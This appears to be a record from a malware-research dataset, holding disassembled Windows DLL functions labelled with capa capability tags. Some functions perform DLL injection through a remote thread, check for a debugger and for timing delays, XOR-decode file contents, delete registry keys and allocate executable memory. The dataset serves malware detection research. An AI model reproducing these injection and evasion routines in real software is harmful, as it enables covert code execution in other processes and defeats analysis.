joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100073a0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10011738
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x1013ba6c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
cmp dword [edi + 0x44], 0
je 0x100074d2
cmp byte [edi + 0x4a], 0
je 0x100074d2
mov eax, dword [edi]
mov edx, dword [eax + 0xc]
push 0xffff
call edx
movzx eax, ax
mov ecx, 0xffff
cmp cx, ax
je 0x100074c6
mov ecx, 0xf
xor eax, eax
mov byte [ebp - 0x2c], 0
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x1c], 8
cmp ecx, 0x10
jae 0x10007421
lea eax, [ebp - 0x2c]
mov byte [eax + 8], 0
mov dword [ebp - 4], 0
lea ebx, [edi + 0x4c]
mov eax, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x18]
mov ecx, eax
cmp edx, 0x10
jae 0x10007441
lea ecx, [ebp - 0x2c]
mov eax, ecx
add ecx, dword [ebp - 0x1c]
lea edx, [ebp - 0x30]
push edx
push ecx
mov ecx, dword [edi + 0x44]
push eax
push ebx
call dword [sym.imp.MSVCP100.dll_public:_int___thiscall_std::codecvt_wchar_t__char__int_::unshift_int___char___char___char___const]
sub eax, 0
je 0x10007466
dec eax
je 0x1000746a
sub eax, 2
lea ecx, [ebp - 0x2c]
jne 0x100074c1
jmp 0x100074cd
mov byte [edi + 0x4a], 0
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov ecx, eax
cmp edx, 0x10
jae 0x1000747a
lea ecx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, ecx
je 0x100074a4
cmp edx, 0x10
jae 0x10007489
lea eax, [ebp - 0x2c]
mov ecx, dword [edi + 0x54]
push ecx
push esi
push 1
push eax
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
cmp esi, eax
jne 0x100074be
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [edi + 0x4a], 0
je 0x100074ca
test esi, esi
jne 0x10007435
push esi
push 8
lea ecx, [ebp - 0x2c]
call fcn.10006940
jmp 0x1000742f
lea ecx, [ebp - 0x2c]
call fcn.10006910
xor al, al
jmp 0x100074d4
lea ecx, [ebp - 0x2c]
call fcn.10006910
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001092b
mov esp, ebp
pop ebp
ret
Function at 0x100074f0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10011738
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x1013ba6c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
cmp dword [edi + 0x44], 0
je 0x10007617
cmp byte [edi + 0x49], 0
je 0x10007617
mov eax, dword [edi]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
call edx
cmp eax, 0xffffffff
je 0x1000760b
mov ecx, 0xf
xor eax, eax
mov byte [ebp - 0x2c], 0
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x1c], 8
cmp ecx, 0x10
jae 0x10007566
lea eax, [ebp - 0x2c]
mov byte [eax + 8], 0
mov dword [ebp - 4], 0
lea ebx, [edi + 0x4c]
mov eax, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x18]
mov ecx, eax
cmp edx, 0x10
jae 0x10007586
lea ecx, [ebp - 0x2c]
mov eax, ecx
add ecx, dword [ebp - 0x1c]
lea edx, [ebp - 0x30]
push edx
push ecx
mov ecx, dword [edi + 0x44]
push eax
push ebx
call dword [sym.imp.MSVCP100.dll_public:_int___thiscall_std::codecvt_char__char__int_::unshift_int___char___char___char___const]
sub eax, 0
je 0x100075ab
dec eax
je 0x100075af
sub eax, 2
lea ecx, [ebp - 0x2c]
jne 0x10007606
jmp 0x10007612
mov byte [edi + 0x49], 0
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov ecx, eax
cmp edx, 0x10
jae 0x100075bf
lea ecx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, ecx
je 0x100075e9
cmp edx, 0x10
jae 0x100075ce
lea eax, [ebp - 0x2c]
mov ecx, dword [edi + 0x54]
push ecx
push esi
push 1
push eax
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
cmp esi, eax
jne 0x10007603
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [edi + 0x49], 0
je 0x1000760f
test esi, esi
jne 0x1000757a
push esi
push 8
lea ecx, [ebp - 0x2c]
call fcn.10006940
jmp 0x10007574
lea ecx, [ebp - 0x2c]
call fcn.10006910
xor al, al
jmp 0x10007619
lea ecx, [ebp - 0x2c]
call fcn.10006910
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001092b
mov esp, ebp
pop ebp
ret
Function at 0x10008b50
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1110
call fcn.10010990
mov eax, dword [0x1013ba6c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
lea ecx, [ebp - 0x10c]
push ecx
push 0x1000
lea edx, [ebp - 0x1110]
push edx
xor esi, esi
push eax
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10c], esi
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
jne 0x10008ba9
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001092b
mov esp, ebp
pop ebp
ret 8
push ebx
push edi
mov edi, dword [ebp - 0x10c]
shr edi, 2
cmp edi, esi
jle 0x10008c1e
mov ebx, dword [ebp + 0xc]
jmp 0x10008bc0
mov ecx, dword [ebp + esi*4 - 0x1110]
mov edx, dword [ebp - 0x110]
push 0x104
lea eax, [ebp - 0x108]
push eax
push ecx
push edx
call sub.PSAPI.DLL_GetModuleFileNameExA
test eax, eax
je 0x10008c19
mov ecx, ebx
lea eax, [ebp - 0x108]
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10008c10
test dl, dl
je 0x10008c0c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10008c10
add eax, 2
add ecx, 2
test dl, dl
jne 0x10008bf0
xor eax, eax
jmp 0x10008c15
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10008c33
inc esi
cmp esi, edi
jl 0x10008bc0
pop edi
pop ebx
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001092b
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
pop edi
pop ebx
xor ecx, ebp
mov al, 1
pop esi
call fcn.1001092b
mov esp, ebp
pop ebp
ret 8

Function at 0x10008c50
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0x10]
push esi
push edi
mov edi, dword [ebp + 8]
push 4
push 0x1000
push ebx
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
je 0x10008c94
mov eax, dword [ebp + 0xc]
push 0
push ebx
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x10008c9d
push 0x8000
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop edi
pop esi
xor al, al
pop ebx
pop ebp
ret 0xc
push str.LoadLibraryA
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10008c86
push 0
push 0
push esi
push eax
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x10008c86
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push ebx
push esi
push edi
test eax, eax
jne 0x10008c8e
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop edi
pop esi
mov al, 1
pop ebx
pop ebp
ret 0xc
Function at 0x10009dc0
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.10010990
mov eax, dword [0x1013ba6c]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 1
push edi
mov edi, ecx
jne 0x10009e0e
cmp dword [0x1013bae8], 0
je 0x10009df2
test byte [0x1013baec], 2
jne 0x10009e05
mov al, 1
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001092b
mov esp, ebp
pop ebp
ret 4
cmp dword [0x1013681c], 0
je 0x10009df2
push ebx
lea eax, [ebp - 0x1008]
push eax
push 0x1000
lea ecx, [ebp - 0x1004]
xor ebx, ebx
push ecx
mov dword [ebp - 0x1008], ebx
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
jne 0x10009e47
pop ebx
xor al, al
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001092b
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebp - 0x1008]
shr eax, 2
push esi
mov dword [ebp - 0x100c], eax
cmp eax, ebx
jle 0x10009ec6
jmp 0x10009e60
mov esi, dword [ebp + ebx*4 - 0x1004]
test esi, esi
je 0x10009ec1
push esi
lea edx, [ebp - 0x1014]
push edx
mov ecx, edi
call fcn.10009cb0
test al, al
jne 0x10009ebb
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push esi
mov ecx, edi
call fcn.10009d20
mov esi, dword [ebp + 8]
mov eax, dword [ebp + ebx*4 - 0x1004]
push esi
push eax
mov ecx, edi
call fcn.10008e80
test al, al
je 0x10009edb
mov ecx, dword [ebp + ebx*4 - 0x1004]
push esi
push ecx
mov ecx, 0x10136468
call fcn.10004e20
test al, al
je 0x10009edb
mov eax, dword [ebp - 0x100c]
inc ebx
cmp ebx, eax
jl 0x10009e60
pop esi
pop ebx
mov al, 1
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001092b
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
pop esi
pop ebx
xor ecx, ebp
xor al, al
pop edi
call fcn.1001092b
mov esp, ebp
pop ebp
ret 4
Function at 0x1000a310
Capabilities:
Encode data using xor
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10011a6b
mov eax, dword fs:[0]
push eax
sub esp, 0x408
mov eax, dword [0x1013ba6c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
mov ebx, ecx
lea ecx, [ebp - 0x410]
call fcn.100014a0
push 0x400
lea eax, [ebx + 0x4de8]
push eax
xor esi, esi
push edi
lea ecx, [ebp - 0x410]
mov dword [ebp - 4], esi
call fcn.10001180
test al, al
je 0x1000a3a0
push esi
push 0x20
push 3
push esi
push 1
push connect
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x1000a3a0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x4de4
je 0x1000a3b9
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x410]
mov dword [ebp - 4], 0xffffffff
call fcn.10001050
xor al, al
jmp 0x1000a45a
push 0
lea ecx, [ebp - 0x414]
push ecx
mov dword [ebp - 0x414], esi
push 0x4de4
lea esi, [ebx + 4]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1000a399
xor eax, eax
mov edi, edi
mov ecx, eax
shr ecx, 8
mov dl, cl
xor dl, 0xbb
xor cl, 0xaa
sub dl, cl
add dl, byte [esi + eax]
xor dl, al
xor dl, 0xcc
mov byte [esi + eax], dl
inc eax
cmp eax, 0x4de4
jb 0x1000a3e0
mov ecx, 0x10131660
call fcn.10004c50
lea eax, [ebx + 0x90]
push eax
mov ecx, 0x10131660
call fcn.10004cd0
lea ecx, [ebx + 0x1a58]
push ecx
mov ecx, 0x10131660
call fcn.10004d40
add ebx, 0x3420
push ebx
mov ecx, 0x10131660
call fcn.10004db0
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x410]
mov dword [ebp - 4], 0xffffffff
call fcn.10001050
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001092b
mov esp, ebp
pop ebp
ret 4

Function at 0x1000b050
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
mov eax, dword [0x1013ba6c]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x94
lea eax, [ebp - 0xd8]
push 0
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
lea ecx, [ebp - 0xd8]
push ecx
mov dword [ebp - 0xd8], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea edx, [ebp - 0x44]
push edx
mov dword [ebp - 0x44], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001092b
mov esp, ebp
pop ebp
ret
Function at 0x1000b1a0
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10011bc8
mov eax, dword fs:[0]
push eax
sub esp, 0x14
mov eax, dword [0x1013ba6c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], 0
mov eax, dword fs:[0x30]
movzx ecx, byte ds:[eax + 2]
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], 0
je 0x1000b1ff
push 0
push 0
push 0xa
call fcn.10002040
add esp, 0xc
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x20]
call fcn.1000a260
push 2
push 0x23
lea ecx, [ebp - 0x20]
mov dword [ebp - 4], 0
call fcn.1000a1b0
test al, al
je 0x1000b263
lea ecx, [ebp - 0x20]
call fcn.1000a250
test eax, eax
je 0x1000b263
cmp byte [eax], 0
je 0x1000b263
cmp byte [eax + 1], 0
jne 0x1000b263
push 0
push 0
push 0xa
call fcn.10002040
add esp, 0xc
lea ecx, [ebp - 0x20]
mov dword [ebp - 4], 0xffffffff
call fcn.1000a280
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x20]
call fcn.1000a170
lea ecx, [ebp - 0x20]
mov dword [ebp - 4], 0xffffffff
call fcn.1000a280
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x1000d280
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
push edi
call esi
mov edi, eax
call esi
mov ebx, dword [ebp + 8]
sub eax, edi
cmp eax, ebx
jae 0x1000d2b2
jmp 0x1000d2a0
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
sub eax, edi
cmp eax, ebx
jb 0x1000d2a0
pop edi
pop esi
xor al, al
pop ebx
pop ebp
ret

Function at 0x1000d380
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, dword [ebp + 0xc]
xor eax, eax
test edi, edi
jle 0x1000d3a5
mov cl, byte [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
mov dl, byte [eax + esi]
add dl, cl
xor dl, 0xb7
mov byte [eax + esi], dl
inc eax
cmp eax, edi
jl 0x1000d394
pop esi
pop edi
pop ebp
ret

Function at 0x1000d3b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, dword [ebp + 0xc]
xor eax, eax
test edi, edi
jle 0x1000d3d5
mov cl, byte [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
mov dl, byte [eax + esi]
xor dl, 0xb8
sub dl, cl
mov byte [eax + esi], dl
inc eax
cmp eax, edi
jl 0x1000d3c4
pop esi
pop edi
pop ebp
ret

Function at 0x1000d4d0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov ecx, 0x1013b650
call fcn.1000cdd0
mov ecx, 0x1013b778
call fcn.1000cdd0
mov ecx, 0x1013b8a0
call fcn.1000cdd0
mov edi, dword [ebp + 0xc]
mov eax, edi
sub eax, 0
je 0x1000d51b
dec eax
je 0x1000d50f
dec eax
jne 0x1000d527
mov eax, 0x6a
mov ecx, 0x570c07
jmp 0x1000d52d
mov eax, 0x69
mov ecx, 0x570c07
jmp 0x1000d52d
mov eax, 0x67
mov ecx, 0x570c07
jmp 0x1000d52d
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0x10]
cmp byte [ebp + 0x10], 0
mov esi, dword [ebp + 8]
je 0x1000d553
mov edx, dword [0x1013bb48]
push ecx
mov ecx, dword [ebp + 0x14]
push ecx
push 1
push 0x808080
push edx
push eax
mov ecx, esi
call fcn.1000d000
jmp 0x1000d567
mov ecx, dword [0x1013bb48]
push 0x808080
push ecx
push eax
mov ecx, esi
call fcn.1000cf80
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
push esi
push 0x1000d460
push 0
push 0
mov dword [esi + 8], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, dword [esi + 8]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esi + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 0x18]
test eax, eax
jle 0x1000d5c0
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
test edi, edi
je 0x1000d5c0
mov ecx, esi
call fcn.1000cdd0
call fcn.1000d230
pop edi
pop esi
pop ebp
ret
Function at 0x1000d600
Capabilities:
Get common file path
Get disk information
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
mov eax, dword [0x1013ba6c]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
jne 0x1000d639
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001092b
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x10c]
push ecx
push 0
push 0
lea edx, [ebp - 0x108]
push edx
mov byte [ebp - 0x105], 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x1000d629
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx edx, word [ebp - 0x10e]
mov ecx, dword [ebp - 0x110]
mov eax, dword [ebp - 0x10c]
and ecx, 0xf5fb
shl edx, 0x10
or ecx, edx
xor ecx, 0x15ca2020
push ecx
movzx ecx, word [ebp - 0x130]
shl ecx, 0xe
mov edx, eax
shr edx, 2
or ecx, edx
push ecx
mov ecx, dword [ebp - 0x11c]
shl ecx, 0x10
or ecx, eax
imul eax, eax
imul ecx, ecx, 0x14ce1989
push ecx
sub eax, 0x13b06451
push eax
push 0x12ba1074
push str._08X__08X__08X__08X__08X
push 0x1013c190
call dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
add esp, 0x1c
mov eax, 0x1013c190
call fcn.1001092b
mov esp, ebp
pop ebp
ret
Function at 0x1000e410
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10011d46
mov eax, dword fs:[0]
push eax
sub esp, 0x654
mov eax, dword [0x1013ba6c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 0xc]
mov ecx, dword [0x10013c94]
mov dx, word [0x10013c98]
mov esi, dword [ebp + 8]
mov dword [ebp - 0x65c], eax
lea eax, [ebp - 0x620]
push eax
push 0x3ff
mov dword [ebp - 0x660], esi
mov dword [ebp - 0x18], ecx
mov word [ebp - 0x14], dx
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
test eax, eax
je 0x1000e636
lea ebx, [ebp - 0x620]
xor edi, edi
jmp 0x1000e490
mov cx, word [ebx]
push 0x104
lea edx, [ebp - 0x220]
push edx
lea eax, [ebp - 0x18]
push eax
mov word [ebp - 0x18], cx
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x1000e545
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0x628], 7
mov dword [ebp - 0x62c], edi
mov word [ebp - 0x63c], cx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x1000e4d3
sub eax, edx
sar eax, 1
push eax
push esi
lea ecx, [ebp - 0x63c]
call fcn.1000e000
lea eax, [ebp - 0x220]
mov dword [ebp - 4], edi
lea edx, [eax + 2]
jmp 0x1000e500
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x1000e500
sub eax, edx
sar eax, 1
push eax
push edi
lea edx, [ebp - 0x220]
push edx
lea ecx, [ebp - 0x63c]
call fcn.1000d810
mov esi, eax
cmp esi, 0xffffffff
jne 0x1000e564
cmp dword [ebp - 0x628], 8
mov dword [ebp - 4], eax
jb 0x1000e545
mov eax, dword [ebp - 0x63c]
push eax
call sub.MSVCR100.dll_void___cdecl_operator_delete_void__
add esp, 4
mov cx, word [ebx]
add ebx, 2
test cx, cx
jne 0x1000e545
cmp word [ebx], di
je 0x1000e636
mov esi, dword [ebp - 0x660]
jmp 0x1000e490
xor edx, edx
lea eax, [ebp - 0x220]
mov word [ebp - 0x658], dx
mov dword [ebp - 0x644], 7
mov dword [ebp - 0x648], edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x1000e586
sub eax, edx
sar eax, 1
push eax
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0x658]
call fcn.1000e000
mov eax, ebx
mov byte [ebp - 4], 1
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x1000e5b1
mov ecx, dword [ebp - 0x648]
sub eax, edx
sar eax, 1
push eax
push ebx
inc ecx
push ecx
push esi
lea ecx, [ebp - 0x63c]
call fcn.1000e100
mov esi, 8
cmp dword [ebp - 0x644], esi
jb 0x1000e5f2
mov edx, dword [ebp - 0x658]
push edx
call sub.MSVCR100.dll_void___cdecl_operator_delete_void__
add esp, 4
mov eax, dword [ebp - 0x63c]
cmp dword [ebp - 0x628], esi
jae 0x1000e606
lea eax, [ebp - 0x63c]
mov ecx, dword [ebp - 0x65c]
push eax
mov eax, dword [ebp + 0x10]
push eax
push ecx
call dword [sym.imp.MSVCR100.dll_wcscpy_s]
add esp, 0xc
cmp dword [ebp - 0x628], esi
jb 0x1000e632
mov edx, dword [ebp - 0x63c]
push edx
call sub.MSVCR100.dll_void___cdecl_operator_delete_void__
add esp, 4
mov al, 1
jmp 0x1000e638
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001092b
mov esp, ebp
pop ebp
ret
Function at 0x1000e690
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [0x10131374]
cmp esi, dword [0x10131378]
je 0x1000e760
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push ebx
nop
cmp byte [esi], 2
jne 0x1000e6ce
lea eax, [ebp - 4]
push eax
lea ecx, [esi + 1]
push ecx
xor ebx, ebx
push connect
mov dword [ebp - 4], ebx
call edi
cmp dword [ebp - 4], ebx
jne 0x1000e6e3
add esi, 0x105
cmp esi, dword [0x10131378]
jne 0x1000e6b0
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x10131378]
mov esi, dword [0x10131374]
sub ecx, esi
mov eax, 0x7d8c42b3
imul ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x1000e746
xor edi, edi
cmp byte [edi + esi], 2
jne 0x1000e722
lea ecx, [edi + esi + 1]
push ecx
push connect
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov esi, dword [0x10131374]
mov ecx, dword [0x10131378]
sub ecx, esi
mov eax, 0x7d8c42b3
imul ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
inc ebx
add eax, edx
add edi, 0x105
cmp ebx, eax
jb 0x1000e706
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
push 0
push 6
call fcn.10002040
add esp, 0xc
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1000e9d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 0xc]
sub eax, 0x10000
push eax
call fcn.1000eb70
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jbe 0x1000ea94
cmp dword [ebp - 4], 0x50000000
jb 0x1000ea11
cmp dword [ebp - 4], 0x80000000
ja 0x1000ea11
mov dword [ebp - 4], 0x4fff0000
jmp 0x1000e9ea
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x1000ea37
jmp 0x1000ea94
cmp dword [ebp - 0x14], 0x10000
jne 0x1000ea7a
cmp dword [ebp - 0x18], 0x10000
jb 0x1000ea7a
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000ea6d
mov eax, dword [ebp - 8]
jmp 0x1000ea96
mov eax, dword [ebp - 4]
sub eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x1000ea8f
mov ecx, dword [ebp - 0x20]
sub ecx, 0x10000
push ecx
call fcn.1000eb70
add esp, 4
mov dword [ebp - 4], eax
jmp 0x1000e9ea
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x1000eaa0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 8]
push eax
call fcn.1000eba0
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0xc]
jae 0x1000eb5c
cmp dword [ebp - 4], 0x50000000
jb 0x1000eadc
cmp dword [ebp - 4], 0x80000000
ja 0x1000eadc
mov dword [ebp - 4], 0x80010000
jmp 0x1000eab5
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x1000eb02
jmp 0x1000eb5c
cmp dword [ebp - 0x14], 0x10000
jne 0x1000eb45
cmp dword [ebp - 0x18], 0x10000
jb 0x1000eb45
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000eb38
mov eax, dword [ebp - 8]
jmp 0x1000eb5e
mov eax, dword [ebp - 4]
add eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x1000eb57
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x18]
push ecx
call fcn.1000eba0
add esp, 4
mov dword [ebp - 4], eax
jmp 0x1000eab5
xor eax, eax
mov esp, ebp
pop ebp
ret